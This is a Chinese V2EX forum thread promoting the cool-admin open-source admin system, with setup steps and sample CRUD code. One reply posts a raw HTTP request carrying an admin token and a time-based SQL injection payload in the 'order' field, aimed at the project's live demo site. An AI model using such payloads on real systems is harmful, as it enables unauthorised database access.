开源比较好看的后台管理系统

2021-03-17 17:42:11 +08:00
 lpap123456

cool-admin(midway 版)一个很酷的后台权限管理系统,开源免费,模块化、插件化、极速开发 CRUD,方便快速构建迭代后台管理系统,支持 serverless 、docker 、普通服务器等多种方式部署

开源地址

https://github.com/cool-team-official/cool-admin-midway

https://gitee.com/cool-team-official/cool-admin-midway

https://github.com/cool-team-official/cool-admin-vue

https://gitee.com/cool-team-official/cool-admin-vue

技术栈

如果你是前端,后端的这些技术选型对你是特别友好的,前端开发者可以较快速地上手。 如果你是后端,Typescript 的语法又跟 java 、php 等特别类似,一切看起来也是那么得熟悉。

演示

https://show.cool-admin.com

文档

https://admin.cool-js.com

项目前端

https://github.com/cool-team-official/cool-admin-vue

QQ 群

2 群:539478405

微信群

微信公众号

运行

修改数据库配置,配置文件位于src/config/config.local.ts

数据库为 mysql(>=5.7 版本),首次启动会自动初始化并导入数据

config.orm = {
    type: 'mysql',
    host: '127.0.0.1',
    port: 3306,
    username: 'root',
    password: '',
    database: 'cool-admin',
    synchronize: true,
    logging: true,
}

安装依赖并运行

$ npm i
$ npm run dev
$ open http://localhost:8001/

注: 如果你的网络不佳可以尝试使用cnpm,或者切换您的镜像源

CURD(快速增删改查)

大部分的后台管理系统,或者 API 服务都是对数据进行管理,所以可以看到大量的 CRUD 场景(增删改查),cool-admin 对此进行了大量地封装,让这块的编码量变得极其地少。

新建一个数据表

src/modules/demo/entity/goods.ts,项目启动数据库会自动创建该表,无需手动创建

import { EntityModel } from '@midwayjs/orm';
import { BaseEntity } from 'midwayjs-cool-core';
import { Column } from 'typeorm';

/**
 * 商品
 */
@EntityModel('demo_app_goods')
export class DemoAppGoodsEntity extends BaseEntity {

    @Column({ comment: '标题' })
    title: string;

    @Column({ comment: '图片' })
    pic: string;

    @Column({ comment: '价格', type: 'decimal', precision: 5, scale: 2 })
    price: number;

}

编写 api 接口

src/modules/demo/controller/app/goods.ts,快速编写 6 个 api 接口

import { Provide } from '@midwayjs/decorator';
import { CoolController, BaseController } from 'midwayjs-cool-core';
import { DemoAppGoodsEntity } from '../../entity/goods';

/**
 * 商品
 */
@Provide()
@CoolController({
  api: ['add', 'delete', 'update', 'info', 'list', 'page'],
  entity: DemoAppGoodsEntity
})
export class DemoAppGoodsController extends BaseController {
  /**
   * 其他接口
   */
  @Get('/other')
  async other() {
    return this.ok('hello, cool-admin!!!');
  }
}

这样我们就完成了 6 个接口的编写,对应的接口如下:

部署

$ npm start
$ npm stop

内置指令

2146 次点击
所在节点    问与答
3 条回复
User9901
2021-03-17 17:59:10 +08:00
POST /api/admin/base/sys/user/page HTTP/1.1
Host: show.cool-admin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Firefox/88.0
Content-Length: 93
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc1JlZnJlc2giOmZhbHNlLCJyb2xlSWRzIjpbIjEiXSwidXNlcm5hbWUiOiJhZG1pbiIsInVzZXJJZCI6MSwicGFzc3dvcmRWZXJzaW9uIjozLCJpYXQiOjE2MTU5NzQ0OTEsImV4cCI6MTYxNTk4MTY5MX0.3z0hGs69Y6gNMege-h9bn-QhaRzVGeohvNsSn0uhVqs
Content-Type: application/json;charset=UTF-8
Dnt: 1
Origin: https://show.cool-admin.com
Referer: https://show.cool-admin.com/sys/user
Sec-Ch-Ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Accept-Encoding: gzip

{"order":"(select*from(select+sleep(2)union/**/select+1)a)","page":1,"size":20,"sort":"desc"}
muunala10221
2021-03-18 09:53:14 +08:00
不错
dawenxi001
305 天前
不错

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/762556

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX